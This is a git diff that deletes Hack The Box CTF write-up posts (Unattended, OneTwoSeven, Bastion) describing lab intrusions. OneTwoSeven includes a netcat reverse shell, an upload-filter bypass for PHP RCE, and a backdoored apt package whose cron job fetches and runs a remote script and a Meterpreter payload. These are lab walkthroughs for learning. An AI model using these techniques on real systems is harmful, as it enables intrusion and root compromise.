-``` -# mv initrd.img-4.9.0-8-amd64 initrd.img-4.9.0-8-amd64.gz -# gunzip initrd.img-4.9.0-8-amd64.gz -# file initrd.img-4.9.0-8-amd64 -initrd.img-4.9.0-8-amd64: ASCII cpio archive (SVR4 with no CRC) -``` - -Then unpack the cpio archive in a separate folder: - -``` -# mv initrd.img-4.9.0-8-amd64 tmp - -root@ragingunicorn:~/htb/unattended/tmp# cpio -i < initrd.img-4.9.0-8-amd64 -121309 blocks -root@ragingunicorn:~/htb/unattended/tmp# ls -l -total 60704 -drwxr-xr-x 2 root root 4096 Apr 15 02:42 bin -drwxr-xr-x 2 root root 4096 Apr 15 02:42 boot -drwxr-xr-x 3 root root 4096 Apr 15 02:42 conf -drwxr-xr-x 5 root root 4096 Apr 15 02:42 etc --rwxr-xr-x 1 root root 5960 Apr 15 02:42 init --rw-r----- 1 root root 62110208 Apr 15 02:40 initrd.img-4.9.0-8-amd64 -drwxr-xr-x 8 root root 4096 Apr 15 02:42 lib -drwxr-xr-x 2 root root 4096 Apr 15 02:42 lib64 -drwxr-xr-x 2 root root 4096 Apr 15 02:42 run -drwxr-xr-x 2 root root 4096 Apr 15 02:42 sbin -drwxr-xr-x 8 root root 4096 Apr 15 02:42 scripts -``` - -There's a lot of files in there and nothing standards out at first. Doing a search for `guly` (the box creator name) I find an interesting file: - -``` -root@ragingunicorn:~/htb/unattended/tmp# grep -r -A 5 -B 5 guly * -Binary file initrd.img-4.9.0-8-amd64 matches --- -scripts/local-top/cryptroot- fi -scripts/local-top/cryptroot- fi -scripts/local-top/cryptroot- -scripts/local-top/cryptroot- -scripts/local-top/cryptroot- if [ ! -e "$NEWROOT" ]; then -scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one -scripts/local-top/cryptroot- if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \ -scripts/local-top/cryptroot- /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then -scripts/local-top/cryptroot- message "cryptsetup: cryptsetup failed, bad password or options?" -scripts/local-top/cryptroot- sleep 3 -scripts/local-top/cryptroot- continue -``` - -The `/sbin/uinitrd c0m3s3f0ss34nt4n1` entry is very peculiar. If I do a google search on `c0m3s3f0ss34nt4n1` I don't find anything so I assume this has been created or modified on purpose. I can't find any man file for `uinitrd` and googling doesn't find anything conclusive. I was expecting to find this is a standard Linux command but it doesn't seem to be the case. - -Also, `c0m3s3f0ss34nt4n1` = `comesefosseantani` and the box creator is Italian... - -I don't have access to run this on the box itself: - -``` -guly@unattended:~$ /sbin/uinitrd --bash: /sbin/uinitrd: Permission denied -guly@unattended:~$ ls -l /sbin/uinitrd --rwxr-x--- 1 root root 933240 Dec 20 16:50 /sbin/uinitrd -``` - -Running it locally on my VM I get more Italian: - -``` -# ./uinitrd -supercazzola -``` - -Let's see what happens if I upload my copy to the server and execute it: - -``` -root@ragingunicorn:~/htb/unattended# scp -6 tmp/sbin/uinitrd guly@\[dead:beef::250:56ff:feb2:7bc2\]:unitrd -uinitrd -``` - -I get some SHA-1 output when I run the binary. The output changes depending on the string I pass as argument: - -``` -guly@unattended:~$ ./unitrd -c26625fb20563604795b161c6f64b41539e3ec63 - -guly@unattended:~$ ./unitrd 123 -772fdeb165b85e3f395b903c57014f4c6c0ab133 - -guly@unattended:~$ ./unitrd 123456 -d98e9572902fce6c98942ffab1bbd3a6d51ff31c - -guly@unattended:~$ ./unitrd 123456 -d98e9572902fce6c98942ffab1bbd3a6d51ff31c -``` - -Those look like SHA1 hashes but I don't know what they mean. I try the first one as the root password but it doesn't work. - -However when I run the program with the `c0m3s3f0ss34nt4n1` argument, I am able to `su` as root with the hash I got: - -``` -guly@unattended:~$ ./unitrd c0m3s3f0ss34nt4n1 -132f93ab100671dcb263acaf5dc95d8260e8b7c6 -guly@unattended:~$ su - -Password: -root@unattended:~# id -uid=0(root) gid=0(root) groups=0(root) -root@unattended:~# cat root.txt -559c0e... -``` \ No newline at end of file diff --git a/_posts/2019-08-31-htb-writeup-onetwoseven.md b/_posts/2019-08-31-htb-writeup-onetwoseven.md deleted file mode 100644 index 61da628c59..0000000000 --- a/_posts/2019-08-31-htb-writeup-onetwoseven.md +++ /dev/null @@ -1,618 +0,0 @@ ---- -layout: single -title: Onetwoseven - Hack The Box -excerpt: "OneTwoSeven starts with enumeration of various files on the system by creating symlinks from the SFTP server. After finding the credentials for the ots-admin user in a vim swap file, I get access to the administration page by SSH port-forwarding my way in and then I have to use the addon manager to upload a PHP file and get RCE. The priv esc was pretty fun and unique: I had to perform a MITM attack against apt-get and upload a malicious package that executes arbitrary code as root." -date: 2019-08-31 -classes: wide -header: - teaser: /assets/images/htb-writeup-onetwoseven/onetwoseven_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - php - - apt - - mitm - - swapfile - - vim - - sftp - - ssh - - port forwarding - - sudo - - web - - linux - - symlink ---- - -![](/assets/images/htb-writeup-onetwoseven/onetwoseven_logo.png) - -OneTwoSeven starts with enumeration of various files on the system by creating symlinks from the SFTP server. After finding the credentials for the ots-admin user in a vim swap file, I get access to the administration page by SSH port-forwarding my way in and then I have to use the addon manager to upload a PHP file and get RCE. The priv esc was pretty fun and unique: I had to perform a MITM attack against apt-get and upload a malicious package that executes arbitrary code as root. - -## Summary - -- The sign up webpage provides SFTP credentials to the box -- From SFTP we can create a symlink to the root directory than access it with the browser and the home folder -- A vim swap file reveals the `ots-admin` password for the local administration page -- We can also retrieve the PHP source code of the main page via the symlink trick -- The local admin page can only be accessed from localhost but we can do port-tunneling with SSH to connect to it -- A file upload feature in a PHP web application can be accessed directly even if it's supposed to be disabled after encoding part of the URI -- We get RCE by uploading a PHP file to the site -- The `apt-get` update / upgrade command is in the sudoers file and runs as `root` without any password -- We can craft a malicious package and force the server to use our box as a proxy to do a man-in-the-middle attack against apt - -## Details - -### Portscan - -Note: 60080 is filtered on the box, but may be listening locally. I'll keep an eye on this later on. - -``` -# nmap -sC -sV -p- 10.10.10.133 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-20 15:00 EDT -Nmap scan report for onetwoseven (10.10.10.133) -Host is up (0.0091s latency). -Not shown: 65532 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) -| ssh-hostkey: -| 2048 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA) -| 256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA) -|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519) -80/tcp open http Apache httpd 2.4.25 ((Debian)) -|_http-server-header: Apache/2.4.25 (Debian) -|_http-title: Page moved. -60080/tcp filtered unknown -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Web enumeration - -The website is some kind of hosting provider. - -![](/assets/images/htb-writeup-onetwoseven/web1.png) - -![](/assets/images/htb-writeup-onetwoseven/web2.png) - -![](/assets/images/htb-writeup-onetwoseven/web3.png) - -At the bottom of the main page there's a hint about throttling enforced on the system: - -![](/assets/images/htb-writeup-onetwoseven/donkeys.png) - -On the Attribution page, there's a note from the box creator confirming this: `Special thanks to 0xEA31 for the fail2ban configuration that already powered Lightweight and CTF.` Based on this information, I figure it's very likely that I don't need to run gobuster or do any heavy enumeration on the main page. - -When I click the sign up button, I get a personal account created automatically and get the credentials for SFTP. - -![](/assets/images/htb-writeup-onetwoseven/web4.png) - -- Username: `ots-4NzkzMDE` -- Password: `ea879301` - -The link to the user homepage is: `http://onetwoseven.htb/~ots-4NzkzMDE` - -At the moment, there's nothing on the page except a brick background. - -![](/assets/images/htb-writeup-onetwoseven/home1.png) - -### Checking out the SFTP service - -I can't connect using SSH because only SFTP is allowed on port 22: - -``` -# ssh ots-4NzkzMDE@10.10.10.133 -ots-4NzkzMDE@10.10.10.133's password: -This service allows sftp connections only. -Connection to 10.10.10.133 closed. -``` - -I can log in with SFTP however: - -``` -# sftp ots-4NzkzMDE@10.10.10.133 -ots-4NzkzMDE@10.10.10.133's password: -Connected to ots-4NzkzMDE@10.10.10.133. -sftp> -``` - -As expected the SFTP access provides a link to the user directory: - -``` -sftp> ls -public_html -sftp> cd public_html/ -sftp> ls -index.html -``` - -### Gathering some files via symlink - -I can create a symlink to the filesystem root directory with: - -``` -sftp> ln -s / root -sftp> ls -l --rw-r--r-- 1 1001 1001 349 Feb 15 21:03 index.html -lrwxrwxrwx 1 1001 1001 1 Apr 22 01:07 root -``` - -If I go in the `root` directory symlink I created, it returns me to the root of the SFTP. - -``` -sftp> cd root -sftp> ls -public_html -``` - -But with the web browser however, when I browse to `root` I see a bunch of folders: - -![](/assets/images/htb-writeup-onetwoseven/symlink1.png) - -I can't go into `etc`, `home` or `usr` because I get a `403 Forbidden` error message. - -But `/var/www` shows there's two main web directories: `html-admin` and `html`. - -![](/assets/images/htb-writeup-onetwoseven/symlink2.png) - -`html` is the main webpage I saw earlier, but `html-admin` contains a couple of different files, including a vim swap file: `.login.php.swp` - -![](/assets/images/htb-writeup-onetwoseven/symlink3.png) - -``` -# file .login.php.swp -.login.php.swp: Vim swap file, version 8.0, pid 1861, user root, host onetwoseven, file /var/www/html-admin/login.php -``` - -A swap file is a binary file so I ran `strings` on it to clean it up and make it readable in a text editor: - -``` -# strings .login.php.swp > login.php.swp -``` - -The file contains a bunch of interesting things: - -```php -if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') { -if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { -[...] -

    Administration backend. For administrators only.

    -

    OneTwoSeven Administration

    -[...] - - -[...] -``` - -- There's an `ots-admin` user with a sha256 hash that is easily crackable to `Homesweethome1` -- The page mentions this is some kind of administration backend webpage -- The page is supposed to be accessed on port 60080 (which is firewalled / not listening on the 10.10.10.133 IP address) - -### Getting the user flag - -I can get the source of all the PHP files from the main website by creating additional symlinks: - -``` -sftp> ln -s /var/www/html/signup.php signup.txt -sftp> ln -s /var/www/html/index.php index.txt -sftp> ln -s /var/www/html/stats.php stats.txt -sftp> rm index.html -Removing /public_html/index.html -``` - -![](/assets/images/htb-writeup-onetwoseven/symlink4.png) - -The `signup.php` file is interesting because it contains the logic used to generate the username and password: - -```php - -``` - -I can grab the `/etc/passwd` file by symlinking to it directly: - -``` -sftp> ln -s /etc/passwd passwd -``` - -The file contains another user with the `127.0.0.1` IP address: - -``` -ots-yODc2NGQ:x:999:999:127.0.0.1:/home/web/ots-yODc2NGQ:/bin/false -ots-4NzkzMDE:x:1001:1001:10.10.14.23:/home/web/ots-4NzkzMDE:/bin/false -``` - -I have the source code of the signup page so I can find what the password is for this user. As shown previously, the password is a portion of the MD5 hash of the user IP address: - -``` -php > echo "ots-" . substr(str_replace('=','',base64_encode(substr(md5("127.0.0.1"),0,8))),3); -ots-yODc2NGQ -php > echo substr(md5("127.0.0.1"),0,8); -f528764d -``` - -Password: `f528764d` - -I can SFTP in with that account and get the user flag: - -``` -# sftp ots-yODc2NGQ@10.10.10.133 -ots-yODc2NGQ@10.10.10.133's password: -Connected to ots-yODc2NGQ@10.10.10.133. -sftp> ls -public_html user.txt -sftp> get user.txt -Fetching /user.txt to user.txt -``` - -``` -# cat user.txt -93a4ce... -``` - -### Pivoting to the local administration page - -I'll use SSH tunneling to get access to port 60080 on the server. But I need to pass the `-N` flag to SSH so it does try to spawn a shell (because only SFTP is enabled). - -``` -# ssh -L 60080:127.0.0.1:60080 -N ots-yODc2NGQ@10.10.10.133 -ots-yODc2NGQ@10.10.10.133's password: -``` - -I can now access the administration web page through my tunnel at `127.0.0.1:60080` - -![](/assets/images/htb-writeup-onetwoseven/admin1.png) - -I log in with `ots-admin` / `Homesweethome1` - -![](/assets/images/htb-writeup-onetwoseven/admin2.png) - -Most of the menu items just provide the output of some Linux commands like: - -![](/assets/images/htb-writeup-onetwoseven/admin3.png) - -The OTS Addon Manager menu item contains some information about rewrite rules: - -![](/assets/images/htb-writeup-onetwoseven/admin4.png) - -The `addon-upload.php` and `addon-download.php` files are redirected to `addons/ots-man-addon.php` based on the Apache rewrite rules. - -Each addon has a `[DL]` link right next to it and I can download the PHP source code of every file. - -I can download `ots-man-addon.php` by using specifying the `addon` parameter manually. - -![](/assets/images/htb-writeup-onetwoseven/admin5.png) - -### Getting a reverse shell through the addon manager - -The interesting part of the `ots-man-addon.php` file is the upload functionality. This is the obvious target to upload some PHP file and gain remote code execution. The file contains a typical file upload functionality where the file uploaded gets moved into the current directory where the script is executed: `/addons`. - -```php - 20000){ - $errors[]='Module too big for addon manager. Please upload manually.'; - } - - if(empty($errors)==true) { - move_uploaded_file($file_tmp,$file_name); - header("Location: /menu.php"); - header("Content-Type: text/plain"); - echo "File uploaded successfull.y"; - } else { - header("Location: /menu.php"); - header("Content-Type: text/plain"); - echo "Error uploading the file: "; - print_r($errors); - } - } -``` - -There's two gotchas however: -- The URI needs to contain `/addon-upload.php` for the proper switch branch to be taken -- `ots-man-addon.php` is not meant to be accessed directly from `/addons` but rather from `menu.php`. The `if( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); }` code prevents the PHP code from executing if `/addons/` is in the URI. - -I can bypass the first item by adding a bogus parameter like `?a=/addon-upload.php`, and the second by URL encoding some of the characters in the URI. - -The final HTTP request looks like this: `POST /%61ddons/ots-man-addon.php?a=/addon-upload.php` - -![](/assets/images/htb-writeup-onetwoseven/upload.png) - -![](/assets/images/htb-writeup-onetwoseven/upload2.png) - -I now have RCE: - -![](/assets/images/htb-writeup-onetwoseven/rce1.png) - -Time to get a shell with a standard netcat reverse shell. I URL encoded the payload to avoid any issue: `GET 127.0.0.1:60080/addons/snowscan.php?cmd=rm %2ftmp%2ff%3bmkfifo %2ftmp%2ff%3bcat %2ftmp%2ff|%2fbin%2fsh -i 2>%261|nc 10.10.14.23 4444 >%2ftmp%2ff` - -``` -root@ragingunicorn:~/htb/onetwoseven# nc -lvnp 4444 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::4444 -Ncat: Listening on 0.0.0.0:4444 -Ncat: Connection from 10.10.10.133. -Ncat: Connection from 10.10.10.133:41952. -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=35(www-admin-data) gid=35(www-admin-data) groups=35(www-admin-data) -$ python -c 'import pty;pty.spawn("/bin/bash")' -www-admin-data@onetwoseven:/var/www/html-admin/addons$ ^Z -[1]+ Stopped nc -lvnp 4444 -root@ragingunicorn:~/htb/onetwoseven# stty raw -echo -fg -www-admin-data@onetwoseven:/var/www/html-admin/addons -``` - -### Priv esc using apt-get MITM - -I see that `www-admin-data` can run `apt-get` as root without any password: - -``` -www-admin-data@onetwoseven:/$ sudo -l -Matching Defaults entries for www-admin-data on onetwoseven: - env_reset, env_keep+="ftp_proxy http_proxy https_proxy no_proxy", - mail_badpass, - secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin - -User www-admin-data may run the following commands on onetwoseven: - (ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade -``` - -The box is running Devuan Linux, a Linux distro for hipsters who don't like systemd. Interestingly, there are two different apt sources configured: - -``` -www-admin-data@onetwoseven:/$ ls -l /etc/apt/sources.list.d -total 8 --rw-r--r-- 1 root root 211 Feb 15 17:22 devuan.list --rw-r--r-- 1 root root 102 Feb 15 17:22 onetwoseven.list - -www-admin-data@onetwoseven:/$ cat /etc/apt/sources.list.d/onetwoseven.list -# OneTwoSeven special packages - not yet in use -deb http://packages.onetwoseven.htb/devuan ascii main -``` - -It's pretty clear here that I need to do some kind of Man-In-The-Middle (MITM) attack on the apt upgrade process. - -I did some googling and found a nice blog explaining how to perform the MITM attack on apt-get: [https://versprite.com/blog/apt-mitm-package-injection/](https://versprite.com/blog/apt-mitm-package-injection/). I'm not gonna rehash the entire blog article here, but the main elements of my attack are shown below. - -I pick nano as my target for a malicious package: `nano_3.0.0_amd64.deb` - -The `postinst` adds a cronjob that executes `/bin/nano_backdoor` every 5 minutes: - -``` -#!/bin/sh - -set -e - -if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ]; then - update-alternatives --install /usr/bin/editor editor /bin/nano 40 \ - --slave /usr/share/man/man1/editor.1.gz editor.1.gz \ - /usr/share/man/man1/nano.1.gz - update-alternatives --install /usr/bin/pico pico /bin/nano 10 \ - --slave /usr/share/man/man1/pico.1.gz pico.1.gz \ - /usr/share/man/man1/nano.1.gz -fi - -crontab -l | { cat; echo "*/5 * * * * /bin/nano_backdoor "; } | crontab - -``` - -`nano_backdoor` just downloads and executes a shell script from my box: - -``` -#!/bin/sh -rm /tmp/snowscan.sh -wget http://10.10.14.23/snowscan.sh -O /tmp/snowscan.sh -chmod 777 /tmp/snowscan.sh -/tmp/snowscan.sh -``` - -The `/devuan/dists/ascii/Release` looks like this: - -``` -# cat Release -Origin: Devuan -Label: Devuan -Suite: stable -Version: 2.0 -Codename: ascii -Date: Wed, 20 Apr 2019 05:00:00 UTC -Architectures: amd64 -Components: main contrib non-free raspi beaglebone droid4 n900 n950 n9 sunxi exynos -SHA256: - 947ab0bff476deda21dbab0c705b14211718ed357d5ca75e707bea4bdc762c59 770 main/binary-amd64/Packages - 7c18ea11cba4acd2a3fdcea314c2b816787cecc4aaad2ae75667553cf700769b 551 main/binary-amd64/Packages.xz -``` - -The `/devuan/dists/ascii/main/binary-amd64/Packages` file contains the modified version number, updated filename and checksums: - -``` -# cat Packages -Package: nano -Version: 3.0.0 -Installed-Size: 2043 -Maintainer: Jordi Mallach -Architecture: amd64 -Replaces: pico -Provides: editor -Depends: libc6 (>= 2.14), libncursesw5 (>= 6), libtinfo5 (>= 6), zlib1g (>= 1:1.1.4) -Conflicts: pico -Homepage: https://www.nano-editor.org/ -Description: small, friendly text editor inspired by Pico -Description-md5: 04397a7cc45e02bc3a9900a7fbed769c -Suggests: spell -Tag: implemented-in::c, interface::text-mode, role::program, scope::utility, - suite::gnu, uitoolkit::ncurses, use::editing, works-with::text -Section: editors -Priority: important -Filename: pool/DEBIAN/main/n/nano/nano_3.0.0_amd64.deb -Size: 484680 -MD5sum: 2aed07eb168f2dcafcc0f6311d33ace0 -SHA256: 7f256355537f78c672d5f8aff6de00c63a026306df6e120b2ee8eaaa503d923c -``` - -Next I setup Burp to listen on all interfaces: - -![](/assets/images/htb-writeup-onetwoseven/burp.png) - -Then modify `/etc/hosts` to point the apt repositories to my own box: - -``` -127.0.0.1 packages.onetwoseven.htb de.deb.devuan.org -``` - -I can force the server to connect through my Kali VM by setting the `http_proxy` variable so it uses the Burp proxy. My local host file points the repo domain to 127.0.0.1 so it connects to my Python webserver. - -``` -www-admin-data@onetwoseven:/$ sudo http_proxy=http://10.10.14.23:8080 apt-get update -Ign:1 http://packages.onetwoseven.htb/devuan ascii InRelease -Ign:2 http://de.deb.devuan.org/merged ascii InRelease -Get:3 http://packages.onetwoseven.htb/devuan ascii Release [420 B] -Ign:4 http://de.deb.devuan.org/merged ascii-security InRelease -Ign:5 http://packages.onetwoseven.htb/devuan ascii Release.gpg -Ign:6 http://de.deb.devuan.org/merged ascii-updates InRelease -Err:7 http://de.deb.devuan.org/merged ascii Release - 404 File not found -Ign:8 http://packages.onetwoseven.htb/devuan ascii/main amd64 Packages -Err:9 http://de.deb.devuan.org/merged ascii-security Release - 404 File not found -Get:8 http://packages.onetwoseven.htb/devuan ascii/main amd64 Packages [770 B] -Err:10 http://de.deb.devuan.org/merged ascii-updates Release - 404 File not found -Reading package lists... Done -W: The repository 'http://packages.onetwoseven.htb/devuan ascii Release' is not signed. -N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use. -N: See apt-secure(8) manpage for repository creation and user configuration details. -E: The repository 'http://de.deb.devuan.org/merged ascii Release' does no longer have a Release file. -N: Updating from such a repository can't be done securely, and is therefore disabled by default. -N: See apt-secure(8) manpage for repository creation and user configuration details. -E: The repository 'http://de.deb.devuan.org/merged ascii-security Release' does no longer have a Release file. -N: Updating from such a repository can't be done securely, and is therefore disabled by default. -N: See apt-secure(8) manpage for repository creation and user configuration details. -E: The repository 'http://de.deb.devuan.org/merged ascii-updates Release' does no longer have a Release file. -N: Updating from such a repository can't be done securely, and is therefore disabled by default. -N: See apt-secure(8) manpage for repository creation and user configuration details. -``` - -``` -www-admin-data@onetwoseven:/$ sudo http_proxy=http://10.10.14.23:8080 apt-get upgrade -Reading package lists... Done -Building dependency tree -Reading state information... Done -Calculating upgrade... Done -The following packages will be upgraded: - nano -1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. -Need to get 485 kB of archives. -After this operation, 0 B of additional disk space will be used. -Do you want to continue? [Y/n] y -WARNING: The following packages cannot be authenticated! - nano -Install these packages without verification? [y/N] y -Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 nano amd64 3.0.0 [485 kB] -Fetched 485 kB in 0s (4372 kB/s) -Reading changelogs... Done -debconf: unable to initialize frontend: Dialog -debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.) -debconf: falling back to frontend: Readline -(Reading database ... 33940 files and directories currently installed.) -Preparing to unpack .../archives/nano_3.0.0_amd64.deb ... -Unpacking nano (3.0.0) over (2.7.4-1) ... -Setting up nano (3.0.0) ... -Processing triggers for man-db (2.7.6.1-2) ... -``` - -File has been installed, I can see the backdoored script file: - -``` -www-admin-data@onetwoseven:/$ ls -l /bin/nano* --rwxr-xr-x 1 root root 225320 Jan 11 2017 /bin/nano --r-xr-xr-x 1 root root 130 Apr 21 21:13 /bin/nano_backdoor -``` - -Next, I'll create a `snowscan.sh` file in the root of my Python webserver: - -``` -#!/bin/sh -wget http://10.10.14.23/met -O /tmp/met -chmod 777 /tmp/met -/tmp/met -``` - -Then I generate a Meterpreter payload to connect back to me when it gets executed by the cronjob: - -``` -# msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o met LPORT=5555 LHOST=10.10.14.23 -``` - -And finally once the cronjob runs, it downloads `snowscan.sh`, executes it and downloads the meterpreter binary so I can get a shell as root: - -``` -msf5 exploit(multi/handler) > show options - -Module options (exploit/multi/handler): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - - -Payload options (linux/x64/meterpreter/reverse_tcp): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST tun0 yes The listen address (an interface may be specified) - LPORT 5555 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Wildcard Target - - -msf5 exploit(multi/handler) > jobs - -Jobs -==== - -No active jobs. - -msf5 exploit(multi/handler) > run -j -[*] Exploit running as background job 0. - -[*] Started reverse TCP handler on 10.10.14.23:5555 -``` - -``` -msf5 exploit(multi/handler) > [!] Stage encoding is not supported for linux/x64/meterpreter/reverse_tcp -[*] Sending stage (3021284 bytes) to 10.10.10.133 -[*] Meterpreter session 2 opened (10.10.14.23:5555 -> 10.10.10.133:48542) at 2019-04-21 22:45:41 -0400 - -msf5 exploit(multi/handler) > sessions 2 -[*] Starting interaction with 2... - -meterpreter > getuid -Server username: uid=0, gid=0, euid=0, egid=0 -meterpreter > shell -Process 13981 created. -Channel 1 created. -python -c 'import pty;pty.spawn("/bin/bash")' -root@onetwoseven:~# id -id -uid=0(root) gid=0(root) groups=0(root) -root@onetwoseven:~# cat /root/root.txt -2d380a... -``` \ No newline at end of file diff --git a/_posts/2019-09-07-htb-writeup-bastion.md b/_posts/2019-09-07-htb-writeup-bastion.md deleted file mode 100644 index 0f5bef973b..0000000000 --- a/_posts/2019-09-07-htb-writeup-bastion.md +++ /dev/null @@ -1,269 +0,0 @@ ---- -layout: single -title: Bastion - Hack The Box -excerpt: "Bastion was an easy box where we had to find an open SMB share that contained a Windows backup. Once we mounted the disk image file, we could recover the system and SAM hive and then crack one of the user's password. An OpenSSH service was installed on the machine so we could SSH in with the credentials and do further enumeration on the box. We then find a mRemoteNG configuration file that contains encrypted credentials for the administrator. The system flag blood was still up for grab when I reached that stage so instead of reversing the encryption for the configuration file I just installed the mRemoteNG application on a Windows VM, copied the config file over and was able to log in as administrator." -date: 2019-09-07 -classes: wide -header: - teaser: /assets/images/htb-writeup-bastion/bastion_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - windows - - mremoteng - - backup - - smb ---- - -![](/assets/images/htb-writeup-bastion/bastion_logo.png) - -Bastion was an easy box where we had to find an open SMB share that contained a Windows backup. Once we mounted the disk image file, we could recover the system and SAM hive and then crack one of the user's password. An OpenSSH service was installed on the machine so we could SSH in with the credentials and do further enumeration on the box. We then find a mRemoteNG configuration file that contains encrypted credentials for the administrator. The system flag blood was still up for grab when I reached that stage so instead of reversing the encryption for the configuration file I just installed the mRemoteNG application on a Windows VM, copied the config file over and was able to log in as administrator. - -## Summary - -- An open SMB share contains the full backup of a Windows machine -- The system and SAM hive can be recovered and then we can crack the `L4mpje` user hash -- mRemoteNG is installed and the credentials for the administrator are saved in the configuration file - -## Tools used - -- [https://github.com/libyal/libvhdi](https://github.com/libyal/libvhdi) - -### Portscan - -OpenSSH is running on the Windows machine. As this is not a standard Windows service, I make note of it as this might be needed to log in later when we find credentials. - -``` -# nmap -sC -sV -p- 10.10.10.134 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-28 10:01 EDT -Nmap scan report for bastion.htb (10.10.10.134) -Host is up (0.0097s latency). -Not shown: 65522 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) -| ssh-hostkey: -| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) -| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) -|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) -135/tcp open msrpc Microsoft Windows RPC -139/tcp open netbios-ssn Microsoft Windows netbios-ssn -445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds -5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) -|_http-server-header: Microsoft-HTTPAPI/2.0 -|_http-title: Not Found -49664/tcp open msrpc Microsoft Windows RPC -49665/tcp open msrpc Microsoft Windows RPC -49666/tcp open msrpc Microsoft Windows RPC -49667/tcp open msrpc Microsoft Windows RPC -49668/tcp open msrpc Microsoft Windows RPC -49669/tcp open msrpc Microsoft Windows RPC -49670/tcp open msrpc Microsoft Windows RPC -Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows -``` - -### SMB share - -There is a `Backups` SMB share that I have read and write to: -``` -# smbmap -u invalid -H 10.10.10.134 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.134... -[+] IP: 10.10.10.134:445 Name: bastion.htb - Disk Permissions - ---- ----------- - ADMIN$ NO ACCESS - Backups READ, WRITE - C$ NO ACCESS - IPC$ READ ONLY -``` - -Checking out the `Backups` share, I see a WindowImageBackup backup directory and `note.txt`: -``` -smb: \> ls - . D 0 Sun Apr 28 10:04:03 2019 - .. D 0 Sun Apr 28 10:04:03 2019 - note.txt AR 116 Tue Apr 16 06:10:09 2019 - SDT65CB.tmp A 0 Fri Feb 22 07:43:08 2019 - WindowsImageBackup D 0 Fri Feb 22 07:44:02 2019 - - 7735807 blocks of size 4096. 2780707 blocks available -``` - -The `note.txt` says I don't need to copy the entire backup file to our VM: -``` -# cat note.txt - -Sysadmins: please don't transfer the entire backup file locally, the VPN to the subsidiary office is too slow. -``` - -Instead of transferring all the files with smbclient I'll just mount the remote share: -``` -# mount -t cifs //10.10.10.134/Backups /mnt/bastion -Password for root@//10.10.10.134/Backups: * -# ls -l /mnt/bastion/ -total 1 --r-xr-xr-x 1 root root 116 Apr 16 06:10 note.txt --rwxr-xr-x 1 root root 0 Feb 22 07:43 SDT65CB.tmp -drwxr-xr-x 2 root root 0 Feb 22 07:44 WindowsImageBackup -``` - -The backup directory contains two `.vhd` files: -``` -'/mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351': -total 5330560 --rwxr-xr-x 1 root root 37761024 Feb 22 07:44 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd --rwxr-xr-x 1 root root 5418299392 Feb 22 07:45 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -``` - -I use the [vhdimount](https://github.com/libyal/libvhdi) utility to mount the remote `.vhd` file to another directory on my system. This way I don't have to download the entire file. - -I just follow the build instructions at [https://github.com/libyal/libvhdi/wiki/Building](https://github.com/libyal/libvhdi/wiki/Building): - -1. `apt install autoconf automake autopoint libtool pkg-config` -2. `./synclibs.sh` -3. `./autogen.sh` -4. `./configure` -5. `make` -6. `make install` -7. `ldconfig` - -I can now mount the remote image: -``` -# vhdimount /mnt/bastion/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd /mnt/vhd -vhdimount 20190309 -``` - -It mounts a single file and not the actual contents: -``` -# ls -l -total 0 --r--r--r-- 1 root root 15999492096 Apr 28 10:19 vhdi1 -``` - -I then use the `mmls` utility to display the partition layout and calculate the offset of the partition: Block size x Start -> 512 * 128 = 65536 -``` -# mmls -aB vhdi1 -DOS Partition Table -Offset Sector: 0 -Units are in 512-byte sectors - - Slot Start End Length Size 